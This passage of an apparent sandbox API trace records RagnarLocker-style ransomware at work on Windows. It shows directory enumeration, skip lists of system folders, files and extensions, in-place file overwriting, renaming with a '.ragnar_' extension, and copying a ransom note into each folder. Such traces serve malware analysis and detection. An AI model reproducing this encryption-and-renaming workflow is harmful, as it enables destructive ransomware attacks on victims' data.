dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0061.494] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0061.494] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0061.494] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0061.494] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0061.494] GetProcessHeap () returned 0x580000 [0061.494] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0061.494] CloseHandle (hObject=0x108) returned 1 [0061.495] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" [0061.495] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.ragnar_FD7BD9FC" [0061.495] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0061.495] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0061.496] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0061.496] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPath.en-us", cAlternateFileName="INFOPA~1.EN-")) returned 1 [0061.496] lstrcmpiW (lpString1="InfoPath.en-us", lpString2=".") returned 1 [0061.496] lstrcmpiW (lpString1="InfoPath.en-us", lpString2="..") returned 1 [0061.496] lstrcmpiW (lpString1="InfoPath.en-us", lpString2="Windows") returned -1 [0061.496] lstrcmpiW (lpString1="InfoPath.en-us", lpString2="Windows.old") returned -1 [0061.496] lstrcmpiW (lpString1="InfoPath.en-us", lpString2="Tor browser") returned -1 [0061.496] lstrcmpiW (lpString1="InfoPath.en-us", lpString2="Internet Explorer") returned -1 [0061.496] lstrcmpiW (lpString1="InfoPath.en-us", lpString2="Google") returned 1 [0061.496] lstrcmpiW (lpString1="InfoPath.en-us", lpString2="Opera") returned -1 [0061.496] lstrcmpiW (lpString1="InfoPath.en-us", lpString2="Opera Software") returned -1 [0061.496] lstrcmpiW (lpString1="InfoPath.en-us", lpString2="Mozilla") returned -1 [0061.496] lstrcmpiW (lpString1="InfoPath.en-us", lpString2="Mozilla Firefox") returned -1 [0061.496] lstrcmpiW (lpString1="InfoPath.en-us", lpString2="$Recycle.Bin") returned 1 [0061.496] lstrcmpiW (lpString1="InfoPath.en-us", lpString2="ProgramData") returned -1 [0061.496] lstrcmpiW (lpString1="InfoPath.en-us", lpString2="All Users") returned 1 [0061.496] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x57 [0061.496] lstrcpyW (in: lpString1=0x1eab90, lpString2="InfoPath.en-us" | out: lpString1="InfoPath.en-us") returned="InfoPath.en-us" [0061.496] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\" [0061.496] lstrcpyW (in: lpString1=0x1ea8dc, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\" [0061.496] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\RGNR_FD7BD9FC.txt" [0061.496] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0061.875] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*.*" [0061.875] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1e9bfc, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x66 [0061.875] lstrcpyW (in: lpString1=0x1e99f4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0061.875] lstrcpyW (in: lpString1=0x1e9cc2, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0061.875] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x771eab80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x771eab80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0061.875] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0061.875] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x771eab80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x771eab80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.875] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0061.875] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0061.875] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.XML", cAlternateFileName="INFOPA~1.XML")) returned 1 [0061.875] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2=".") returned 1 [0061.875] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2="..") returned 1 [0061.875] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76e58a80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x76e58a80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0061.875] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0061.875] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0061.875] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0061.876] lstrcmpiW (lpString1="SETUP.XML", lpString2=".") returned 1 [0061.876] lstrcmpiW (lpString1="SETUP.XML", lpString2="..") returned 1 [0061.876] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0061.876] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0061.876] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x771eab80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x771eab80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0061.876] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x771eab80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x771eab80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.876] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.XML", cAlternateFileName="INFOPA~1.XML")) returned 1 [0061.876] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x66 [0061.876] lstrcpyW (in: lpString1=0x1ea0d6, lpString2="InfoPathMUI.XML" | out: lpString1="InfoPathMUI.XML") returned="InfoPathMUI.XML" [0061.876] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned=".XML" [0061.876] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0061.876] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2="autorun.inf") returned 1 [0061.876] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2="boot.ini") returned 1 [0061.876] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2="bootfont.bin") returned 1 [0061.876] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2="bootsect.bak") returned 1 [0061.876] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2="bootmgr") returned 1 [0061.876] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2="bootmgr.efi") returned 1 [0061.876] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2="bootmgfw.efi") returned 1 [0061.876] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2="desktop.ini") returned 1 [0061.876] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2="iconcache.db") returned 1 [0061.876] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2="ntldr") returned -1 [0061.876] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2="ntuser.dat") returned -1 [0061.876] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2="ntuser.dat.log") returned -1 [0061.876] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2="ntuser.ini") returned -1 [0061.876] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2="thumbs.db") returned -1 [0061.876] lstrcmpiW (lpString1=".XML", lpString2=".db") returned 1 [0061.877] lstrcmpiW (lpString1=".XML", lpString2=".sys") returned 1 [0061.877] lstrcmpiW (lpString1=".XML", lpString2=".dll") returned 1 [0061.877] lstrcmpiW (lpString1=".XML", lpString2=".lnk") returned 1 [0061.877] lstrcmpiW (lpString1=".XML", lpString2=".msi") returned 1 [0061.877] lstrcmpiW (lpString1=".XML", lpString2=".drv") returned 1 [0061.877] lstrcmpiW (lpString1=".XML", lpString2=".exe") returned 1 [0061.877] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 0x20 [0061.877] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0061.877] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=1231) returned 1 [0061.877] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x4c6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.877] GetProcessHeap () returned 0x580000 [0061.877] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0061.877] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0061.882] VirtualAlloc (lpAddress=0x0, dwSize=0x4cf, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0061.882] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.882] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0061.882] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4cf, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1e9984*=0x4cf, lpOverlapped=0x0) returned 1 [0061.882] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0061.882] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4cf, nNumberOfBytesToLockHigh=0x0) returned 1 [0061.882] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4cf, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1e9980*=0x4cf, lpOverlapped=0x0) returned 1 [0061.882] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4cf, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0061.882] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.883] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x4cf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.883] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0061.883] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0061.883] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0061.883] WriteFile (in: hFile=0x104, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0061.883] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0061.883] GetProcessHeap () returned 0x580000 [0061.883] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0061.883] CloseHandle (hObject=0x104) returned 1 [0061.884] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" [0061.884] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.ragnar_FD7BD9FC" [0061.884] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0061.884] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76e58a80, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x76e58a80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0061.884] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x66 [0061.885] lstrcpyW (in: lpString1=0x1ea0d6, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0061.885] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\RGNR_FD7BD9FC.txt") returned=".txt" [0061.885] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0061.885] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x73c, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0061.885] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x66 [0061.885] lstrcpyW (in: lpString1=0x1ea0d6, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML" [0061.885] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned=".XML" [0061.885] lstrcmpiW (lpString1="SETUP.XML", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0061.885] lstrcmpiW (lpString1="SETUP.XML", lpString2="autorun.inf") returned 1 [0061.885] lstrcmpiW (lpString1="SETUP.XML", lpString2="boot.ini") returned 1 [0061.885] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootfont.bin") returned 1 [0061.885] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootsect.bak") returned 1 [0061.885] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr") returned 1 [0061.885] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr.efi") returned 1 [0061.885] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgfw.efi") returned 1 [0061.885] lstrcmpiW (lpString1="SETUP.XML", 